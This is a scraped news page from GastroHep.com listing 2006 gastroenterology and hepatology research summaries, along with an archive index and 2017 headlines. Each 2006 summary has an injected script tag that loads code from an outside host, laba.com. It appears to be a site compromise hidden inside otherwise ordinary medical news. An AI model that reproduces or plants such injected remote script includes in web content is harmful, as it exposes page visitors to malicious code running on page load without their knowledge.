Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 20 October 2017

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Portal pressure reduction lowers first variceal bleeding risk in cirrhosis 10 March 2006
Reducing variceal bleeding risk in cirrhosis<script src=http://laba.com/muuu.s></script> The hemodynamic response in cirrhotic patients is associated with a reduction in the risk of first variceal bleeding, and a reduced risk of spontaneous bacterial peritonitis, reports this month's American Journal of Gastroenterology.
Full story
Entecavir improves Hep B e antigen-positive Hep B more than lamivudine 10 March 2006
Hep B e antigen-positive Hep B treatment<script src=http://laba.com/muuu.s></script> In Hep B e antigen-positive chronic Hep B patients, histologic improvements are higher with entecavir than with lamivudine, and there is no evidence of viral resistance to entecavir, reports this week's New England Journal of Medicine.
Full story
Abnormalities found on liver biopsies of healthy donors 09 March 2006
Liver abnormalities in healthy donors<script src=http://laba.com/muuu.s></script> Most potential donor candidates for living donor liver transplantation have an unexpected liver abnormality, the most common abnormality being steatosis, finds the latest research in the Journal of Gastroenterology and Hepatology.
Full story
Primary biliary cirrhosis risk increases near toxic waste sites 09 March 2006
Risk of primary biliary cirrhosis<script src=http://laba.com/muuu.s></script> This month's issue of Hepatology finds that toxin exposure may be a risk factor influencing the clustering of primary biliary cirrhosis cases.
Full story
Hepatocellular cancer risk is high in cirrhosis with liver nodules 09 March 2006
Hepatocellular cancer risk in cirrhosis<script src=http://laba.com/muuu.s></script> Hepatocellular carcinoma in patients with small liver nodules is higher vs patients with cirrhosis without liver nodules, and warrants more imaging surveillance for hepatocellular carcinoma, finds March's American Journal of Gastroenterology.
Full story
Identifying more patients with reflux symptoms off PPI therapy 08 March 2006
Symptom association off PPI therapy<script src=http://laba.com/muuu.s></script> In patients off PPI therapy, impedance with esophageal pH monitoring leads to more patients in whom an association between reflux episodes and symptoms can be identified, finds March's American Journal of Gastroenterology.
Full story
Split liver donation and transplants reduce pediatric mortality 08 March 2006
Split liver transplants in children<script src=http://laba.com/muuu.s></script> The increased number of pediatric transplants due to split liver donation reduces the in-list children mortality, and decreases in the adult patient dropout rate, shows this month's issue of Liver Transplantation.
Full story
Alarm symptoms in primary gastric lymphoma are low 08 March 2006
Gastric lymphoma and alarm symptoms<script src=http://laba.com/muuu.s></script> The overall prevalence of alarm symptoms is quite low, and may be absent in more than 70% of patients with low-grade lymphoma, reports the latest issue of Alimentary Pharmacology & Therapeutics.
Full story
Good prognosis for chronic Hep B in children 07 March 2006
Hep B prognosis in children<script src=http://laba.com/muuu.s></script> The prognosis for chronic Hep B in horizontally infected Caucasian children is favorable, however, some develop hepatocellular carcinoma, for which alcohol and drug abuse counseling is important, reports this month's Hepatology.
Full story
Recurrence of H pylori after several eradication therapies 07 March 2006
<em>H pylori</em> after eradication therapy<script src=http://laba.com/muuu.s></script> Posteradication H pylori recurrence is higher during the first year, is more frequent in younger patients and in those treated with low efficacy therapies, reports the latest issue of Alimentary Pharmacology & Therapeutics.
Full story
Transesophageal endoscopic plication vs Nissen for GERD 07 March 2006
Treatment comparison for GERD<script src=http://laba.com/muuu.s></script> Both techniques improve symptom score, acid regurgitation, quality of life, and reduce the requirements for PPIs, although acid reflux control is better with Nissen fundoplication, shows March's American Journal of Gastroenterology.
Full story
Hepatic artery stenting as adjuvant therapy for hepatic stenosis 06 March 2006
Stents in hepatic artery stenosis<script src=http://laba.com/muuu.s></script> Hepatic artery stenting is a viable treatment for hepatic artery stenosis with reasonable results, and can be used as adjuvant treatment after surgical revision, finds the latest issue of Liver Tranpslantation.
Full story
Self-expandable stents improve survival in esophageal stenosis 06 March 2006
Stents and esophageal stenosis survival<script src=http://laba.com/muuu.s></script> Self-expandable stents in patients with inoperable malignant esophageal stenosis has few complications and results in long survival in comparison with similar studies, reports March's Scandanavian Journal of Gastroenterology.
Full story
Follow-up tool for Hep C recurrence after liver transplant 06 March 2006
Hep C recurrence after liver transplant<script src=http://laba.com/muuu.s></script> This month's issue of Hepatology shows that hepatic venous pressure gradient determination is a valuable tool for follow-up in patients with Hepatitis C recurrence after liver transplantation.
Full story
Hep B infection in Australia is higher than expected 03 March 2006
Hep B prevalence in Australia<script src=http://laba.com/muuu.s></script> Hep B is higher than predicted on the basis of notifications to the passive surveillance scheme, and most patients had multiple risk factors for infection, finds the latest issue of the Journal of Viral Hepatitis.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841

Go to top of page Email this page Email this page to a colleague

 20 October 2017 
Food elimination diets for treatment of adults with eosinophilic esophagitis
 20 October 2017 
Conversion of planned colonoscopy to sigmoidoscopy
 20 October 2017 
Hospital readmissions reduction program
 19 October 2017 
Surgical anastomosis at 1-year colorectal cancer surveillance
 19 October 2017 
Fecal immunochemical tests in colorectal cancer screening
 19 October 2017 
Current management of chylous ascites
 18 October 2017 
Predicting recurrence after curative rectal cancer surgery
 18 October 2017 
Hep E seroprevalence and hemodialysis
 18 October 2017 
Prebiotic and changes in the human gut microbiota
 17 October 2017 
Laparoscopic surgery use in Medicare patients with colon cancer
 17 October 2017 
Medication nonadherence and health care costs
 17 October 2017 
Asthma and IBD development
 16 October 2017 
Colorectal cancer screening and postpolypectomy surveillance colonoscopy
 16 October 2017 
Continuity of care after colorectal surgery
 16 October 2017 
Breastfeeding and the risk of IBD
 13 October 2017 
Treating patients with HCV and severe renal impairment
 13 October 2017 
Blood pressure management during abdominal surgery
 13 October 2017 
Food elimination diets for eosinophilic esophagitis
 12 October 2017 
Global recurrence of H. pylori
 12 October 2017 
Colonoscopy in an organized colorectal cancer screening program 
 12 October 2017 
Predicting advanced fibrosis in chronic hepatitis B
 11 October 2017 
Fecal microbiota transplantation for ulcerative colitis
 11 October 2017 
Sexual functioning in Hep C
 11 October 2017 
Ulcerative proctitis in pediatric-onset UC
 10 October 2017 
Quality standards in upper gastrointestinal endoscopy
 10 October 2017 
Eosinophilic esophagitis and swallowed topical corticosteroids
 10 October 2017 
Follow-up of positive results on fecal blood tests
 09 October 2017 
Diverticulitis and emergency department burden
 09 October 2017 
Global recurrence rate of H. pylori
 09 October 2017 
Clostridium difficile infection after ileostomy reversal
 06 October 2017 
Predicting nontreatment for Hep C
 06 October 2017 
Cow's milk–based formula and development of celiac disease
 06 October 2017 
Propofol for outpatient colonoscopy
 05 October 2017 
Pediatric candidates on the transplant wait list
 05 October 2017 
Incidence of sepsis in the USA
 05 October 2017 
Quality of life after chemoradiation in rectal cancer
 04 October 2017 
Clinical practice guidelines in colon cancer
 04 October 2017 
Peptic ulcer disease diagnosed in acute upper endoscopy
 04 October 2017 
Rural residence and risk of IBD
 03 October 2017 
Novel candidate risk genes for IBD
 03 October 2017 
Antibody tests and detecting celiac disease
 03 October 2017 
Environmental factors and IBD
 02 October 2017 
Full publication of Gastroenerology abstracts
 02 October 2017 
Interferon-free therapy in advanced liver disease
 02 October 2017 
Burden of NAFLD with advanced fibrosis in the USA
 29 September 2017 
Inpatient Gastroenterology training experience
 29 September 2017 
Proteomic analysis of IBD
 28 September 2017 
Social networking-based discussion group by ERCP doctors
 28 September 2017 
Incidence of biopsy-verified celiac disease
 27 September 2017 
Predictors of nonadherence in IBD
 27 September 2017 
Hep C treatment in the era of direct-acting anti-viral agents
 27 September 2017 
Function of trypsin-3 in IBS
 26 September 2017 
Chronic pancreatitis and pancreatic cancer risk
 26 September 2017 
Factors associated with the risk of metachronous gastric neoplasm
 26 September 2017 
Treatment of hyperactive delirium in advanced cancer
 25 September 2017 
Lenalidomide for advanced liver cancer
 25 September 2017 
Silibinin nanoparticles inhibit HCV infection
 22 September 2017 
Perforation after colonic endoscopic mucosal resection
 22 September 2017 
Medical management and colectomy rates
 22 September 2017 
MRI for liver metastatic colorectal cancer

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2017 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us